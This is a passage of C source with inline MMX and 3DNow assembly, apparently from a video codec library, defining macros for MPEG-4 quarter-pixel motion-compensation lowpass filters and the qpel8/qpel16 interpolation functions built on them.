\n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+a"(src), "+c"(dst), "+D"(h)\ : "d"((x86_reg)srcStride), "S"((x86_reg)dstStride), /*"m"(ff_pw_20), "m"(ff_pw_3),*/ "m"(temp), "m"(ROUNDER)\ : "memory"\ );\ }\ \ static void OPNAME ## mpeg4_qpel16_h_lowpass_3dnow(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ int i;\ int16_t temp[16];\ /* quick HACK, XXX FIXME MUST be optimized */\ for(i=0; i<h; i++)\ {\ temp[ 0]= (src[ 0]+src[ 1])*20 - (src[ 0]+src[ 2])*6 + (src[ 1]+src[ 3])*3 - (src[ 2]+src[ 4]);\ temp[ 1]= (src[ 1]+src[ 2])*20 - (src[ 0]+src[ 3])*6 + (src[ 0]+src[ 4])*3 - (src[ 1]+src[ 5]);\ temp[ 2]= (src[ 2]+src[ 3])*20 - (src[ 1]+src[ 4])*6 + (src[ 0]+src[ 5])*3 - (src[ 0]+src[ 6]);\ temp[ 3]= (src[ 3]+src[ 4])*20 - (src[ 2]+src[ 5])*6 + (src[ 1]+src[ 6])*3 - (src[ 0]+src[ 7]);\ temp[ 4]= (src[ 4]+src[ 5])*20 - (src[ 3]+src[ 6])*6 + (src[ 2]+src[ 7])*3 - (src[ 1]+src[ 8]);\ temp[ 5]= (src[ 5]+src[ 6])*20 - (src[ 4]+src[ 7])*6 + (src[ 3]+src[ 8])*3 - (src[ 2]+src[ 9]);\ temp[ 6]= (src[ 6]+src[ 7])*20 - (src[ 5]+src[ 8])*6 + (src[ 4]+src[ 9])*3 - (src[ 3]+src[10]);\ temp[ 7]= (src[ 7]+src[ 8])*20 - (src[ 6]+src[ 9])*6 + (src[ 5]+src[10])*3 - (src[ 4]+src[11]);\ temp[ 8]= (src[ 8]+src[ 9])*20 - (src[ 7]+src[10])*6 + (src[ 6]+src[11])*3 - (src[ 5]+src[12]);\ temp[ 9]= (src[ 9]+src[10])*20 - (src[ 8]+src[11])*6 + (src[ 7]+src[12])*3 - (src[ 6]+src[13]);\ temp[10]= (src[10]+src[11])*20 - (src[ 9]+src[12])*6 + (src[ 8]+src[13])*3 - (src[ 7]+src[14]);\ temp[11]= (src[11]+src[12])*20 - (src[10]+src[13])*6 + (src[ 9]+src[14])*3 - (src[ 8]+src[15]);\ temp[12]= (src[12]+src[13])*20 - (src[11]+src[14])*6 + (src[10]+src[15])*3 - (src[ 9]+src[16]);\ temp[13]= (src[13]+src[14])*20 - (src[12]+src[15])*6 + (src[11]+src[16])*3 - (src[10]+src[16]);\ temp[14]= (src[14]+src[15])*20 - (src[13]+src[16])*6 + (src[12]+src[16])*3 - (src[11]+src[15]);\ temp[15]= (src[15]+src[16])*20 - (src[14]+src[16])*6 + (src[13]+src[15])*3 - (src[12]+src[14]);\ __asm__ volatile(\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "paddw %2, %%mm0 \n\t"\ "paddw %2, %%mm1 \n\t"\ "psraw $5, %%mm0 \n\t"\ "psraw $5, %%mm1 \n\t"\ "packuswb %%mm1, %%mm0 \n\t"\ OP_3DNOW(%%mm0, (%1), %%mm1, q)\ "movq 16(%0), %%mm0 \n\t"\ "movq 24(%0), %%mm1 \n\t"\ "paddw %2, %%mm0 \n\t"\ "paddw %2, %%mm1 \n\t"\ "psraw $5, %%mm0 \n\t"\ "psraw $5, %%mm1 \n\t"\ "packuswb %%mm1, %%mm0 \n\t"\ OP_3DNOW(%%mm0, 8(%1), %%mm1, q)\ :: "r"(temp), "r"(dst), "m"(ROUNDER)\ : "memory"\ );\ dst+=dstStride;\ src+=srcStride;\ }\ }\ \ static void OPNAME ## mpeg4_qpel8_h_lowpass_mmx2(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ __asm__ volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t" /* ABCDEFGH */\ "movq %%mm0, %%mm1 \n\t" /* ABCDEFGH */\ "movq %%mm0, %%mm2 \n\t" /* ABCDEFGH */\ "punpcklbw %%mm7, %%mm0 \n\t" /* 0A0B0C0D */\ "punpckhbw %%mm7, %%mm1 \n\t" /* 0E0F0G0H */\ "pshufw $0x90, %%mm0, %%mm5 \n\t" /* 0A0A0B0C */\ "pshufw $0x41, %%mm0, %%mm6 \n\t" /* 0B0A0A0B */\ "movq %%mm2, %%mm3 \n\t" /* ABCDEFGH */\ "movq %%mm2, %%mm4 \n\t" /* ABCDEFGH */\ "psllq $8, %%mm2 \n\t" /* 0ABCDEFG */\ "psllq $16, %%mm3 \n\t" /* 00ABCDEF */\ "psllq $24, %%mm4 \n\t" /* 000ABCDE */\ "punpckhbw %%mm7, %%mm2 \n\t" /* 0D0E0F0G */\ "punpckhbw %%mm7, %%mm3 \n\t" /* 0C0D0E0F */\ "punpckhbw %%mm7, %%mm4 \n\t" /* 0B0C0D0E */\ "paddw %%mm3, %%mm5 \n\t" /* b */\ "paddw %%mm2, %%mm6 \n\t" /* c */\ "paddw %%mm5, %%mm5 \n\t" /* 2b */\ "psubw %%mm5, %%mm6 \n\t" /* c - 2b */\ "pshufw $0x06, %%mm0, %%mm5 \n\t" /* 0C0B0A0A */\ "pmullw "MANGLE(ff_pw_3)", %%mm6 \n\t" /* 3c - 6b */\ "paddw %%mm4, %%mm0 \n\t" /* a */\ "paddw %%mm1, %%mm5 \n\t" /* d */\ "pmullw "MANGLE(ff_pw_20)", %%mm0 \n\t" /* 20a */\ "psubw %%mm5, %%mm0 \n\t" /* 20a - d */\ "paddw %5, %%mm6 \n\t"\ "paddw %%mm6, %%mm0 \n\t" /* 20a - 6b + 3c - d */\ "psraw $5, %%mm0 \n\t"\ /* mm1=EFGH, mm2=DEFG, mm3=CDEF, mm4=BCDE, mm7=0 */\ \ "movd 5(%0), %%mm5 \n\t" /* FGHI */\ "punpcklbw %%mm7, %%mm5 \n\t" /* 0F0G0H0I */\ "pshufw $0xF9, %%mm5, %%mm6 \n\t" /* 0G0H0I0I */\ "paddw %%mm5, %%mm1 \n\t" /* a */\ "paddw %%mm6, %%mm2 \n\t" /* b */\ "pshufw $0xBE, %%mm5, %%mm6 \n\t" /* 0H0I0I0H */\ "pshufw $0x6F, %%mm5, %%mm5 \n\t" /* 0I0I0H0G */\ "paddw %%mm6, %%mm3 \n\t" /* c */\ "paddw %%mm5, %%mm4 \n\t" /* d */\ "paddw %%mm2, %%mm2 \n\t" /* 2b */\ "psubw %%mm2, %%mm3 \n\t" /* c - 2b */\ "pmullw "MANGLE(ff_pw_20)", %%mm1 \n\t" /* 20a */\ "pmullw "MANGLE(ff_pw_3)", %%mm3 \n\t" /* 3c - 6b */\ "psubw %%mm4, %%mm3 \n\t" /* -6b + 3c - d */\ "paddw %5, %%mm1 \n\t"\ "paddw %%mm1, %%mm3 \n\t" /* 20a - 6b + 3c - d */\ "psraw $5, %%mm3 \n\t"\ "packuswb %%mm3, %%mm0 \n\t"\ OP_MMX2(%%mm0, (%1), %%mm4, q)\ \ "add %3, %0 \n\t"\ "add %4, %1 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+a"(src), "+c"(dst), "+d"(h)\ : "S"((x86_reg)srcStride), "D"((x86_reg)dstStride), /*"m"(ff_pw_20), "m"(ff_pw_3),*/ "m"(ROUNDER)\ : "memory"\ );\ }\ \ static void OPNAME ## mpeg4_qpel8_h_lowpass_3dnow(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ int i;\ int16_t temp[8];\ /* quick HACK, XXX FIXME MUST be optimized */\ for(i=0; i<h; i++)\ {\ temp[ 0]= (src[ 0]+src[ 1])*20 - (src[ 0]+src[ 2])*6 + (src[ 1]+src[ 3])*3 - (src[ 2]+src[ 4]);\ temp[ 1]= (src[ 1]+src[ 2])*20 - (src[ 0]+src[ 3])*6 + (src[ 0]+src[ 4])*3 - (src[ 1]+src[ 5]);\ temp[ 2]= (src[ 2]+src[ 3])*20 - (src[ 1]+src[ 4])*6 + (src[ 0]+src[ 5])*3 - (src[ 0]+src[ 6]);\ temp[ 3]= (src[ 3]+src[ 4])*20 - (src[ 2]+src[ 5])*6 + (src[ 1]+src[ 6])*3 - (src[ 0]+src[ 7]);\ temp[ 4]= (src[ 4]+src[ 5])*20 - (src[ 3]+src[ 6])*6 + (src[ 2]+src[ 7])*3 - (src[ 1]+src[ 8]);\ temp[ 5]= (src[ 5]+src[ 6])*20 - (src[ 4]+src[ 7])*6 + (src[ 3]+src[ 8])*3 - (src[ 2]+src[ 8]);\ temp[ 6]= (src[ 6]+src[ 7])*20 - (src[ 5]+src[ 8])*6 + (src[ 4]+src[ 8])*3 - (src[ 3]+src[ 7]);\ temp[ 7]= (src[ 7]+src[ 8])*20 - (src[ 6]+src[ 8])*6 + (src[ 5]+src[ 7])*3 - (src[ 4]+src[ 6]);\ __asm__ volatile(\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "paddw %2, %%mm0 \n\t"\ "paddw %2, %%mm1 \n\t"\ "psraw $5, %%mm0 \n\t"\ "psraw $5, %%mm1 \n\t"\ "packuswb %%mm1, %%mm0 \n\t"\ OP_3DNOW(%%mm0, (%1), %%mm1, q)\ :: "r"(temp), "r"(dst), "m"(ROUNDER)\ :"memory"\ );\ dst+=dstStride;\ src+=srcStride;\ }\ } #define QPEL_OP(OPNAME, ROUNDER, RND, OP, MMX)\ \ static void OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(uint8_t *dst, uint8_t *src, int dstStride, int srcStride){\ uint64_t temp[17*4];\ uint64_t *temp_ptr= temp;\ int count= 17;\ \ /*FIXME unroll */\ __asm__ volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq (%0), %%mm1 \n\t"\ "movq 8(%0), %%mm2 \n\t"\ "movq 8(%0), %%mm3 \n\t"\ "punpcklbw %%mm7, %%mm0 \n\t"\ "punpckhbw %%mm7, %%mm1 \n\t"\ "punpcklbw %%mm7, %%mm2 \n\t"\ "punpckhbw %%mm7, %%mm3 \n\t"\ "movq %%mm0, (%1) \n\t"\ "movq %%mm1, 17*8(%1) \n\t"\ "movq %%mm2, 2*17*8(%1) \n\t"\ "movq %%mm3, 3*17*8(%1) \n\t"\ "add $8, %1 \n\t"\ "add %3, %0 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+r" (src), "+r" (temp_ptr), "+r"(count)\ : "r" ((x86_reg)srcStride)\ : "memory"\ );\ \ temp_ptr= temp;\ count=4;\ \ /*FIXME reorder for speed */\ __asm__ volatile(\ /*"pxor %%mm7, %%mm7 \n\t"*/\ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "movq 16(%0), %%mm2 \n\t"\ "movq 24(%0), %%mm3 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 16(%0), 8(%0), (%0), 32(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 8(%0), (%0), (%0), 40(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, (%0), (%0), 8(%0), 48(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, (%0), 8(%0), 16(%0), 56(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 8(%0), 16(%0), 24(%0), 64(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 16(%0), 24(%0), 32(%0), 72(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 24(%0), 32(%0), 40(%0), 80(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 32(%0), 40(%0), 48(%0), 88(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 40(%0), 48(%0), 56(%0), 96(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 48(%0), 56(%0), 64(%0),104(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 56(%0), 64(%0), 72(%0),112(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 64(%0), 72(%0), 80(%0),120(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 72(%0), 80(%0), 88(%0),128(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 80(%0), 88(%0), 96(%0),128(%0), (%1, %3), OP)\ "add %4, %1 \n\t" \ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 88(%0), 96(%0),104(%0),120(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 96(%0),104(%0),112(%0),112(%0), (%1, %3), OP)\ \ "add $136, %0 \n\t"\ "add %6, %1 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ \ : "+r"(temp_ptr), "+r"(dst), "+g"(count)\ : "r"((x86_reg)dstStride), "r"(2*(x86_reg)dstStride), /*"m"(ff_pw_20), "m"(ff_pw_3),*/ "m"(ROUNDER), "g"(4-14*(x86_reg)dstStride)\ :"memory"\ );\ }\ \ static void OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(uint8_t *dst, uint8_t *src, int dstStride, int srcStride){\ uint64_t temp[9*2];\ uint64_t *temp_ptr= temp;\ int count= 9;\ \ /*FIXME unroll */\ __asm__ volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq (%0), %%mm1 \n\t"\ "punpcklbw %%mm7, %%mm0 \n\t"\ "punpckhbw %%mm7, %%mm1 \n\t"\ "movq %%mm0, (%1) \n\t"\ "movq %%mm1, 9*8(%1) \n\t"\ "add $8, %1 \n\t"\ "add %3, %0 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ : "+r" (src), "+r" (temp_ptr), "+r"(count)\ : "r" ((x86_reg)srcStride)\ : "memory"\ );\ \ temp_ptr= temp;\ count=2;\ \ /*FIXME reorder for speed */\ __asm__ volatile(\ /*"pxor %%mm7, %%mm7 \n\t"*/\ "1: \n\t"\ "movq (%0), %%mm0 \n\t"\ "movq 8(%0), %%mm1 \n\t"\ "movq 16(%0), %%mm2 \n\t"\ "movq 24(%0), %%mm3 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 16(%0), 8(%0), (%0), 32(%0), (%1), OP)\ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 8(%0), (%0), (%0), 40(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, (%0), (%0), 8(%0), 48(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, (%0), 8(%0), 16(%0), 56(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm0, %%mm1, %%mm2, %%mm3, %5, %6, %5, 8(%0), 16(%0), 24(%0), 64(%0), (%1), OP)\ \ QPEL_V_LOW(%%mm1, %%mm2, %%mm3, %%mm0, %5, %6, %5, 16(%0), 24(%0), 32(%0), 64(%0), (%1, %3), OP)\ "add %4, %1 \n\t"\ QPEL_V_LOW(%%mm2, %%mm3, %%mm0, %%mm1, %5, %6, %5, 24(%0), 32(%0), 40(%0), 56(%0), (%1), OP)\ QPEL_V_LOW(%%mm3, %%mm0, %%mm1, %%mm2, %5, %6, %5, 32(%0), 40(%0), 48(%0), 48(%0), (%1, %3), OP)\ \ "add $72, %0 \n\t"\ "add %6, %1 \n\t"\ "decl %2 \n\t"\ " jnz 1b \n\t"\ \ : "+r"(temp_ptr), "+r"(dst), "+g"(count)\ : "r"((x86_reg)dstStride), "r"(2*(x86_reg)dstStride), /*"m"(ff_pw_20), "m"(ff_pw_3),*/ "m"(ROUNDER), "g"(4-6*(x86_reg)dstStride)\ : "memory"\ );\ }\ \ static void OPNAME ## qpel8_mc00_ ## MMX (uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels8_ ## MMX(dst, src, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc10_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(half, src, 8, stride, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, src, half, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc20_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel8_h_lowpass_ ## MMX(dst, src, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc30_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(half, src, 8, stride, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, src+1, half, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc01_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(half, src, 8, stride);\ OPNAME ## pixels8_l2_ ## MMX(dst, src, half, stride, stride, 8);\ }\ \ static void OPNAME ## qpel8_mc02_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, src, stride, stride);\ }\ \ static void OPNAME ## qpel8_mc03_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[8];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(half, src, 8, stride);\ OPNAME ## pixels8_l2_ ## MMX(dst, src+stride, half, stride, stride, 8);\ }\ static void OPNAME ## qpel8_mc11_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc31_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src+1, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc13_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH+8, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc33_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src+1, halfH, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH+8, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc21_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc23_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half) + 64;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## mpeg4_qpel8_v_lowpass_ ## MMX(halfHV, halfH, 8, 8);\ OPNAME ## pixels8_l2_ ## MMX(dst, halfH+8, halfHV, stride, 8, 8);\ }\ static void OPNAME ## qpel8_mc12_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src, halfH, 8, stride, 9);\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, halfH, stride, 8);\ }\ static void OPNAME ## qpel8_mc32_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[8 + 9];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ put ## RND ## pixels8_l2_ ## MMX(halfH, src+1, halfH, 8, stride, 9);\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, halfH, stride, 8);\ }\ static void OPNAME ## qpel8_mc22_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[9];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel8_h_lowpass_ ## MMX(halfH, src, 8, stride, 9);\ OPNAME ## mpeg4_qpel8_v_lowpass_ ## MMX(dst, halfH, stride, 8);\ }\ static void OPNAME ## qpel16_mc00_ ## MMX (uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## pixels16_ ## MMX(dst, src, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc10_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(half, src, 16, stride, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, src, half, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc20_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel16_h_lowpass_ ## MMX(dst, src, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc30_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(half, src, 16, stride, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, src+1, half, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc01_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(half, src, 16, stride);\ OPNAME ## pixels16_l2_ ## MMX(dst, src, half, stride, stride, 16);\ }\ \ static void OPNAME ## qpel16_mc02_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, src, stride, stride);\ }\ \ static void OPNAME ## qpel16_mc03_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t temp[32];\ uint8_t * const half= (uint8_t*)temp;\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(half, src, 16, stride);\ OPNAME ## pixels16_l2_ ## MMX(dst, src+stride, half, stride, stride, 16);\ }\ static void OPNAME ## qpel16_mc11_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc31_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src+1, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc13_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH+16, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc33_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src+1, halfH, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH+16, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc21_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc23_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[16*2 + 17*2];\ uint8_t * const halfH= ((uint8_t*)half) + 256;\ uint8_t * const halfHV= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## mpeg4_qpel16_v_lowpass_ ## MMX(halfHV, halfH, 16, 16);\ OPNAME ## pixels16_l2_ ## MMX(dst, halfH+16, halfHV, stride, 16, 16);\ }\ static void OPNAME ## qpel16_mc12_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[17*2];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## RND ## pixels16_l2_ ## MMX(halfH, src, halfH, 16, stride, 17);\ OPNAME ## mpeg4_qpel16_v_lowpass_ ## MMX(dst, halfH, stride, 16);\ }\ static void OPNAME ## qpel16_mc32_ ## MMX(uint8_t *dst, uint8_t *src, int stride){\ uint64_t half[17*2];\ uint8_t * const halfH= ((uint8_t*)half);\ put ## RND ## mpeg4_qpel16_h_lowpass_ ## MMX(halfH, src, 16, stride, 17);\ put ## 